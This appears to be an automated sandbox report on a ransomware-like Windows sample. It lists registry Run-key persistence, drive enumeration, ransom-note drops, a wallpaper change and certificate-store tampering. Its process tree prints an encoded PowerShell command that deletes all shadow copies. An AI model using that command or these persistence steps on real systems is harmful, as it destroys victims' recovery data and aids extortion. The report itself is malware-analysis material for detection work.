c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\BV7BRrErOX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe" c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\L: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\Q: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\R: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\T: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\W: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\X: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\V: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\F: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\H: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\K: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\N: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\O: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\S: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\U: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\D: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\B: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\I: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\J: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\Y: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\Z: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\E: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\G: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\M: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened (read-only) \??\P: c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ho682g9fni.bmp" c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe -
Drops file in Program Files directory 36 IoCs
description ioc Process File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\5z3k8w-readme.txt c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\ConnectSend.asp c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\DebugPublish.tiff c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\SuspendStop.avi c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\DenyCompress.M2T c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\SendMeasure.search-ms c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\StepUnprotect.wmf c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\ConvertInstall.mpeg3 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\OutCompress.mpg c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\RequestDisable.potx c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\5z3k8w-readme.txt c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File created \??\c:\program files\5z3k8w-readme.txt c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\ApproveTrace.WTV c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\AssertCheckpoint.ogg c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\MeasureJoin.dotx c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\ConvertBlock.xml c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\EditUse.wpl c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\GroupMount.TTS c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\FormatEnable.csv c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\UpdateDebug.dotx c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\EditInitialize.mov c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\TestWrite.7z c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\TracePublish.ps1xml c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File created \??\c:\program files (x86)\5z3k8w-readme.txt c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\CompareClear.bmp c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\ConfirmSearch.rtf c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\ReceiveProtect.mp2 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\RevokeSkip.snd c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\BlockGrant.dwfx c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\ImportPublish.ogg c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\LockSet.cfg c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\ResumeTest.mp3 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\5z3k8w-readme.txt c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\BlockRevoke.wma c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\ExpandUninstall.vssx c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File opened for modification \??\c:\program files\RestoreHide.iso c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 544 powershell.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe Token: SeDebugPrivilege 544 powershell.exe Token: SeBackupPrivilege 1496 vssvc.exe Token: SeRestorePrivilege 1496 vssvc.exe Token: SeAuditPrivilege 1496 vssvc.exe Token: SeTakeOwnershipPrivilege 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 524 wrote to memory of 544 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 28 PID 524 wrote to memory of 544 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 28 PID 524 wrote to memory of 544 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 28 PID 524 wrote to memory of 544 524 c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe 28
Processes
-
C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe"C:\Users\Admin\AppData\Local\Temp\c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:544
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1244
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1496